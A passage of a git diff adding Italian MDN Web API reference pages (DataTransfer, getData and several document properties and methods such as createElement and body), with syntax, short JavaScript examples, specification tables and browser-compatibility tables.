+<p>Esempi di tipi di <em>data types</em> sono <em><code>text/plain</code></em> e <em><code>text/uri-list</code></em>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">DOMString <var>dataTransfer</var>.getData(format);
+</pre>
+
+<h3 id="Argomenti">Argomenti</h3>
+
+<dl>
+ <dt><em>formato</em></dt>
+ <dd>Una {{domxref("DOMString")}} rappresentante il  tipo di dato da recuperare.</dd>
+</dl>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<dl>
+ <dt>{{domxref("DOMString")}}</dt>
+ <dd>Una {{domxref("DOMString")}} rappresentante i dati trascinati per il formato specificato. Se l'operazione di trascinamento non ha dati o l'operazione non ha dati per il formato specificato, questo metodo restituisce una stringa vuota.</dd>
+</dl>
+
+<h2 id="Esempio">Esempio</h2>
+
+<p>Questo esempio mostra l'uso dell'oggetto {{domxref("DataTransfer")}} e dei metodi {{domxref("DataTransfer.getData()","getData()")}} e {{domxref("DataTransfer.setData()","setData()")}} .</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)"&gt;
+    &lt;span id="drag" draggable="true" ondragstart="drag(event)"&gt;drag me to the other box&lt;/span&gt;
+&lt;/div&gt;
+&lt;div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"&gt;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div1, #div2 {
+    width:100px;
+    height:50px;
+    padding:10px;
+    border:1px solid #aaaaaa;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function allowDrop(allowdropevent) {
+    allowdropevent.target.style.color = 'blue';
+    allowdropevent.preventDefault();
+}
+
+function drag(dragevent) {
+    dragevent.dataTransfer.setData("text", dragevent.target.id);
+    dragevent.target.style.color = 'green';
+}
+
+function drop(dropevent) {
+    dropevent.preventDefault();
+    var data = dropevent.dataTransfer.getData("text");
+    dropevent.target.appendChild(document.getElementById(data));
+    document.getElementById("drag").style.color = 'black';
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p id="EmbedLiveSample('Example'_''_''_''_'WebAPIDataTransfergetData')">{{ EmbedLiveSample('Esempio', 600, '', '', 'Web/API/DataTransfer/getData') }}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-getdata", "getData()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#dom-datatransfer-getdata", "getData()")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>{{CompatGeckoDesktop(10)}} [1]</td>
+   <td>12</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(10)}}[1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] in versioni di Firefox precedenti alla 49, questo metodo restituisce sempre una lista vuota se il tipo mime non è in una white list.</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<p>{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}</p>
diff --git a/files/it/web/api/datatransfer/index.html b/files/it/web/api/datatransfer/index.html
new file mode 100644
index 0000000000..a821dabb6a
--- /dev/null
+++ b/files/it/web/api/datatransfer/index.html
@@ -0,0 +1,183 @@
+---
+title: DataTransfer
+slug: Web/API/DataTransfer
+tags:
+  - API
+  - NeedsMarkupWork
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Development
+  - drag and drop
+translation_of: Web/API/DataTransfer
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>The <code><strong>DataTransfer</strong></code> object is used to hold the data that is being dragged during a drag and drop operation. It may hold one or more data items, each of one or more data types. For more information about drag and drop, see <a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">HTML Drag and Drop API</a>.</p>
+
+<p>This object is available from the {{domxref("DragEvent.dataTransfer","dataTransfer")}} property of all {{domxref("DragEvent","drag events")}}. It cannot be created separately (i.e. there is no constructor for this object).</p>
+
+<h2 id="Properties">Properties</h2>
+
+<h3 id="Standard_properties">Standard properties</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.dropEffect")}}</dt>
+ <dd>Gets the type of drag-and-drop operation currently selected or sets the operation to a new type. The value must be <code>none</code> <code>copy</code> <code>link</code> or <code>move</code>.</dd>
+ <dt>{{domxref("DataTransfer.effectAllowed")}}</dt>
+ <dd>Provides all of the types of operations that are possible. Must be one of <code>none</code>, <code>copy</code>, <code>copyLink</code>, <code>copyMove</code>, <code>link</code>, <code>linkMove</code>, <code>move</code>, <code>all</code> or <code>uninitialized</code>.</dd>
+ <dt>{{domxref("DataTransfer.files")}}</dt>
+ <dd>Contains a list of all the local files available on the data transfer. If the drag operation doesn't involve dragging files, this property is an empty list.</dd>
+ <dt>{{domxref("DataTransfer.items")}} {{readonlyInline}}</dt>
+ <dd>Gives a {{domxref("DataTransferItemList")}} object which is a list of all of the drag data.</dd>
+ <dt>{{domxref("DataTransfer.types")}} {{readonlyInline}}</dt>
+ <dd>An array of {{domxref("DOMString","string")}} giving the formats that were set in the {{event("dragstart")}} event.</dd>
+</dl>
+
+<h3 id="Gecko_properties">Gecko properties</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note"><strong>Note:</strong> All of the properties in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.mozCursor")}}</dt>
+ <dd>Gives the drag cursor's state. This is primarily used to control the cursor during tab drags.</dd>
+ <dt>{{domxref("DataTransfer.mozItemCount")}} {{readonlyInline}}</dt>
+ <dd>Gives the number of items in the drag operation.</dd>
+ <dt>{{domxref("DataTransfer.mozSourceNode")}} {{readonlyInline}}</dt>
+ <dd>The {{ domxref("Node") }} over which the mouse cursor was located when the button was pressed to initiate the drag operation. This value is <code>null</code> for external drags or if the caller can't access the node.</dd>
+ <dt>{{domxref("DataTransfer.mozUserCancelled")}} {{readonlyInline}}</dt>
+ <dd>This property applies only to the <code>dragend</code> event, and is <code>true</code> if the user canceled the drag operation by pressing escape. It will be <code>false</code> in all other cases, including if the drag failed for any other reason, for instance due to a drop over an invalid location.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Standard_methods">Standard methods</h3>
+
+<dl>
+ <dt>{{domxref("DataTransfer.clearData()")}}</dt>
+ <dd>Remove the data associated with a given type. The type argument is optional. If the type is empty or not specified, the data associated with all types is removed. If data for the specified type does not exist, or the data transfer contains no data, this method will have no effect.</dd>
+ <dt>{{domxref("DataTransfer.getData()")}}</dt>
+ <dd>Retrieves the data for a given type, or an empty string if data for that type does not exist or the data transfer contains no data.</dd>
+ <dt>{{domxref("DataTransfer.setData()")}}</dt>
+ <dd>Set the data for a given type. If data for the type does not exist, it is added at the end, such that the last item in the types list will be the new format. If data for the type already exists, the existing data is replaced in the same position.</dd>
+ <dt>{{domxref("DataTransfer.setDragImage()")}}</dt>
+ <dd>Set the image to be used for dragging if a custom one is desired.</dd>
+</dl>
+
+<h3 id="Gecko_methods">Gecko methods</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="note"><strong>Note:</strong> All of the methods in this section are Gecko-specific.</div>
+
+<dl>
+ <dt>{{domxref("DataTransfer.addElement()")}}</dt>
+ <dd>Sets the drag source to the given element.</dd>
+ <dt>{{domxref("DataTransfer.mozClearDataAt()")}}</dt>
+ <dd>Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozGetDataAt()")}}</dt>
+ <dd>Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one.</dd>
+ <dt>{{domxref("DataTransfer.mozSetDataAt()")}}</dt>
+ <dd>A data transfer may store multiple items, each at a given zero-based index. <code>mozSetDataAt()</code> may only be called with an index argument less than <code>mozItemCount</code> in which case an existing item is modified, or equal to <code>mozItemCount</code> in which case a new item is added, and the <code>mozItemCount</code> is incremented by one.</dd>
+ <dt>{{domxref("DataTransfer.mozTypesAt()")}}</dt>
+ <dd>Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Every method and property listed in this document has its own reference page and each reference page either directly includes an example of the interface or has a link to an example.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#datatransfer','DataTransfer')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><code>mozCursor</code>, <code>mozItemCount</code>, <code>mozSourceNode</code>, <code>mozUserCancelled</code>, <code>addElement()</code>, <code>mozClearDataAt()</code>, <code>mozGetDataAt()</code>, <code>mozSetDataAt()</code> and <code>mozTypesAt</code> are Gecko specific.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'editing.html#the-datatransfer-interface','DataTransfer')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>3.5 <sup>[2]</sup></td>
+   <td>10 <sup>[1]</sup> <sup>[2]</sup></td>
+   <td>12</td>
+   <td>3.1 <sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><code>[1]</code><a href="http://caniuse.com/#search=drag">Partial support refers to not supporting {{domxref("DataTransfer.setDragImage()")}} [CanIUse.com]</a></p>
+
+<p><code>[2]</code>Does not support {{domxref("DataTransfer.items")}} property</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/Web/Guide/HTML/Drag_and_drop">Drag and drop</a></li>
+ <li><a href="/Web/Guide/HTML/Drag_operations">Drag Operations</a></li>
+ <li><a href="/Web/Guide/HTML/Recommended_Drag_Types">Recommended Drag Types</a></li>
+ <li><a href="/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items">Dragging and Dropping Multiple Items</a></li>
+</ul>
diff --git a/files/it/web/api/document/anchors/index.html b/files/it/web/api/document/anchors/index.html
new file mode 100644
index 0000000000..2b7261420d
--- /dev/null
+++ b/files/it/web/api/document/anchors/index.html
@@ -0,0 +1,31 @@
+---
+title: document.anchors
+slug: Web/API/Document/anchors
+translation_of: Web/API/Document/anchors
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>anchors</code> restituisce un Array contenente tutte le ancore presenti nel documento.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>nodeList</i> = document.anchors
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">if ( document.anchors.length &gt;= 5 ) {
+    dump("Ho trovato troppe ancore");
+    window.location = "http<span class="nowiki">:</span>//www.google.com";
+}
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Per ragioni di compatibilità all'indietro, l'array restituito contiene solo le ancore che hanno un attributo <code>name</code> e non quelle che hanno solo l'attributo <code>id</code>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-7577272">DOM Level 2 HTML: anchors</a></p>
+
+<p>{{ languages( { "ja": "ja/DOM/document.anchors", "pl": "pl/DOM/document.anchors" } ) }}</p>
diff --git a/files/it/web/api/document/applets/index.html b/files/it/web/api/document/applets/index.html
new file mode 100644
index 0000000000..47328fbe65
--- /dev/null
+++ b/files/it/web/api/document/applets/index.html
@@ -0,0 +1,25 @@
+---
+title: document.applets
+slug: Web/API/Document/applets
+translation_of: Web/API/Document/applets
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>applets</code> restituisce un array contenente le applet presenti nel documento.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>nodeList</i> = document.applets
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">// ( voglio la seconda applet )
+la_mia_applet_java = document.applets[1];
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-85113862">DOM Level 2 HTML: applets</a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.applets" } ) }}</p>
diff --git a/files/it/web/api/document/body/index.html b/files/it/web/api/document/body/index.html
new file mode 100644
index 0000000000..e13f8e1400
--- /dev/null
+++ b/files/it/web/api/document/body/index.html
@@ -0,0 +1,88 @@
+---
+title: Document.body
+slug: Web/API/Document/body
+tags:
+  - API
+  - DOM
+  - HTML DOM
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Document/body
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La proprietà <strong><code>Document.body</code></strong> rappresenta il nodo {{HTMLElement("body")}} o {{HTMLElement("frameset")}} del documento corrente, o <code>null</code> se non esiste alcun elemento di questo tipo.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>objRef</var> = document.body;
+document.body = <var>objRef</var>;</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:js">// Dato questo HTML: &lt;body id="oldBodyElement"&gt;&lt;/body&gt;
+alert(document.body.id); // "oldBodyElement"
+
+var aNewBodyElement = document.createElement("body");
+
+aNewBodyElement.id = "newBodyElement";
+document.body = aNewBodyElement;
+alert(document.body.id); // "newBodyElement"
+</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<p><code>document.body</code> è l'elemento che contiene il contenuto per il documento. Nei documenti con contenuto <code>&lt;body&gt;</code> restituisce l'elemento <code>&lt;body&gt;</code>, e nei documenti frameset, restituisce l'elemento <code>&lt;frameset&gt;</code> più esterno.</p>
+
+<p>Anche se <code>body</code> è settabile, l'impostazione di un nuovo corpo su un documento rimuoverà efficacemente tutti i figli attuali dell'elemento <code>&lt;body&gt;</code>.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','dom.html#dom-document-body','Document.body')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML','html.html#ID-56360201','Document.body')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','level-one-html.html#attribute-body','Document.body')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<div>{{Compat("api.Document.body")}}</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("document.head")}}</li>
+</ul>
diff --git a/files/it/web/api/document/characterset/index.html b/files/it/web/api/document/characterset/index.html
new file mode 100644
index 0000000000..e2062ac971
--- /dev/null
+++ b/files/it/web/api/document/characterset/index.html
@@ -0,0 +1,32 @@
+---
+title: document.characterSet
+slug: Web/API/Document/characterSet
+translation_of: Web/API/Document/characterSet
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce la codifica dei caratteri utilizzata per il documento corrente.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><i>stringa</i> = document.characterSet
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">&lt;button onclick="alert(document.characterSet);"
+&gt;Mostra il set di caratteri&lt;/button&gt;
+// restituisce il set di caratteri, come "ISO-8859-1" o "UTF-8"
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>La codifica dei caratteri è il set di caratteri utilizzato per visualizzare il documento, che potrebbe essere differente dalla codifica specificata nella pagina (l'utente può reimpostare la codifica da utilizzare).</p>
+
+<p>Per un elenco completo delle codifiche, si veda: <a class="external" href="http://www.iana.org/assignments/character-sets" rel="freelink">http://www.iana.org/assignments/character-sets</a>.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.characterSet" } ) }}</p>
diff --git a/files/it/web/api/document/close/index.html b/files/it/web/api/document/close/index.html
new file mode 100644
index 0000000000..bc86c7bacc
--- /dev/null
+++ b/files/it/web/api/document/close/index.html
@@ -0,0 +1,27 @@
+---
+title: document.close
+slug: Web/API/Document/close
+translation_of: Web/API/Document/close
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>document.close()</code> termina la scrittura su un documento che è stato aperto con <a href="it/DOM/document.open">document.open()</a>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">document.close();
+</pre>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre>// apro un documento per scrivervi sopra;
+// scrivo il contenuto sul documento;
+// chiudo il documento.
+document.open();
+document.write("&lt;p&gt;Testo da inserire...&lt;/p&gt;");
+document.close();
+</pre>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-98948567">DOM Level 2 HTML: <code>close()</code> Method</a></p>
diff --git a/files/it/web/api/document/createelement/index.html b/files/it/web/api/document/createelement/index.html
new file mode 100644
index 0000000000..649ba72fb3
--- /dev/null
+++ b/files/it/web/api/document/createelement/index.html
@@ -0,0 +1,139 @@
+---
+title: Document.createElement()
+slug: Web/API/Document/createElement
+tags:
+  - API
+  - DOM
+  - Document
+  - Referenza
+  - createElement
+  - metodo
+translation_of: Web/API/Document/createElement
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">In un documento <a href="/en-US/docs/Web/HTML">HTML</a>, il metodo <strong><code>document.createElement()</code></strong> crea l'elemento HTML specificato da <var>tagName</var> o un {{domxref("HTMLUnknownElement")}} se <var>tagName</var> non viene riconosciuto.</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: In un documento <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>, crea l'elemento XUL specificato. In altri documenti, crea un elemento con un URI namespace <code>null</code>.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="brush: js">var <var>element</var> = <var>document</var>.createElement(<var>tagName</var>[, <var>options</var>]);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><var>tagName</var></dt>
+ <dd>Una stringa che specifica il tipo di elemento da creare. Il {{domxref("Node.nodeName", "nodeName")}} dell'elemento creato viene inizializzato con il valore di <var>tagName</var>. Non utilizzare nomi qualificati (come "html:a") con questo metodo. Quando chiamato su un documento HTML, <code>createElement()</code> converte <var>tagName</var> in minuscolo prima di creare l'elemento. In Firefox, Opera e Chrome, <code>createElement(null)</code> funziona come <code>createElement("null")</code>.</dd>
+ <dt><var>options</var>{{optional_inline}}</dt>
+ <dd>Un oggetto <code>ElementCreationOptions</code> opzionale contenente una singola proprietà denominata <code>is</code>, il cui valore è il nome del tag per un elemento personalizzato precedentemente definito utilizzando <code>customElements.define()</code>. Vedi {{anch("Esempio di componente Web")}} per ulteriori dettagli.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il nuovo {{domxref("Element")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Esempio_basilare">Esempio basilare</h3>
+
+<p>Questo crea un nuovo <code>&lt;div&gt;</code> e lo inserisce prima dell'elemento con l'ID "<code>div1</code>".</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;||Lavorare con gli elementi||&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div id="div1"&gt;Il testo sopra è stato creato dinamicamente.&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush:js">document.body.onload = addElement;
+
+function addElement() {
+  // crea un nuovo elemento div
+  var newDiv = document.createElement("div");
+  // ed assegnargli un contenuto
+  var newContent = document.createTextNode("Hi there and greetings!");
+  // aggiungi il nodo di testo al div appena creato
+  newDiv.appendChild(newContent);
+
+  // aggiungi l'elemento appena creato e il suo contenuto nel DOM
+  var currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}</pre>
+
+<p>{{EmbedLiveSample("Esempio_basilare", 500, 50)}}</p>
+
+<h3 id="Esempio_di_componente_Web">Esempio di componente Web</h3>
+
+<p>Il seguente frammento di esempio è tratto dal nostro esempio di componente di espansione list-web (vedi anche live). In questo caso, il nostro elemento personalizzato estende {{domxref("HTMLUListElement")}}, che rappresenta l'elemento {{htmlelement("ul")}}.</p>
+
+<pre class="brush: js">// Crea una classe per l'elemento
+class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Chiama sempre super prima nel costruttore
+    super();
+
+    // definizione del costruttore lasciata fuori per brevità
+    ...
+  }
+}
+
+// Definisce il nuovo elemento
+customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre>
+
+<p>Se volessimo creare un'istanza di questo elemento a livello di codice, utilizzeremmo una chiamata seguendo le linee seguenti:</p>
+
+<pre class="brush: js">let expandingList = document.createElement('ul', { is : 'expanding-list' })</pre>
+
+<p>Al nuovo elemento verrà assegnato un attributo <code><a href="/en-US/docs/Web/HTML/Global_attributes/is">is</a></code> il cui valore è il nome del tag dell'elemento personalizzato.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Per la retrocompatibilità con le versioni precedenti della <a href="https://www.w3.org/TR/custom-elements/">specifica Elementi personalizzati</a>, alcuni browser ti permetteranno di passare una stringa qui invece di un oggetto, dove il valore della stringa è il nome del tag dell'elemento personalizzato.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Document.createElement")}}</p>
+
+<h2 id="See_also" name="See_also">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("document.createElementNS()")}} —  per specificare esplicitamente l'URI namespace per l'elemento.</li>
+</ul>
diff --git a/files/it/web/api/document/createrange/index.html b/files/it/web/api/document/createrange/index.html
new file mode 100644
index 0000000000..6c78f471f3
--- /dev/null
+++ b/files/it/web/api/document/createrange/index.html
@@ -0,0 +1,30 @@
+---
+title: document.createRange
+slug: Web/API/Document/createRange
+translation_of: Web/API/Document/createRange
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Restituisce un nuovo oggetto <code><a href="it/DOM/range">Range</a></code>.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval"><var>range</var> = <var>document</var>.createRange();
+</pre>
+
+<p><code>range</code> è l'oggetto <a href="it/DOM/range">range</a> creato.</p>
+
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+
+<pre class="eval">var range = document.createRange();
+range.setStart(startNode, startOffset);
+range.setEnd(endNode, endOffset);
+</pre>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p>Una volta che un <code>Range</code> è stato creato, occorre impostare il punto iniziale e quello finale prima di poter utilizzare la maggior parte dei suoi metodi.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></p>
diff --git a/files/it/web/api/document/defaultview/index.html b/files/it/web/api/document/defaultview/index.html
new file mode 100644
index 0000000000..46f9ef20c0
--- /dev/null
+++ b/files/it/web/api/document/defaultview/index.html
@@ -0,0 +1,27 @@
+---
+title: document.defaultView
+slug: Web/API/Document/defaultView
+translation_of: Web/API/Document/defaultView
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><b>document.defaultView</b> restituisce un riferimento all'<a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a> predefinita del documento, oppure <code>null</code> se non ne esiste una.</p>
+
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+
+<pre class="eval">var vista = document.defaultView;
+</pre>
+
+<p>Questa proprietà è di sola lettura.</p>
+
+<h3 id="Note" name="Note">Note</h3>
+
+<p><code>document.defaultView</code> fa parte dell'interfaccia <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView">DocumentView</a> del DOM Level 2.</p>
+
+<p><code>document.defaultView</code> generalmente è un riferimento all'oggetto <a href="it/DOM/window">window</a> del documento, però questo non è definito nella specifica è non può essere dato per scontato in ogni tipo di ambiente, o più precisamente in ogni browser.</p>
+
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView-defaultView">DOM Level 2 defaultView</a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/document.defaultView" } ) }}</p>
diff --git a/files/it/web/api/document/doctype/index.html b/files/it/web/api/document/doctype/index.html
new file mode 100644
index 0000000000..e9393d19b6
--- /dev/null
+++ b/files/it/web/api/document/doctype/index.html
@@ -0,0 +1,27 @@
+---
+title: document.doctype
+slug: Web/API/Document/doctype
+translation_of: Web/API/Document/doctype
+---
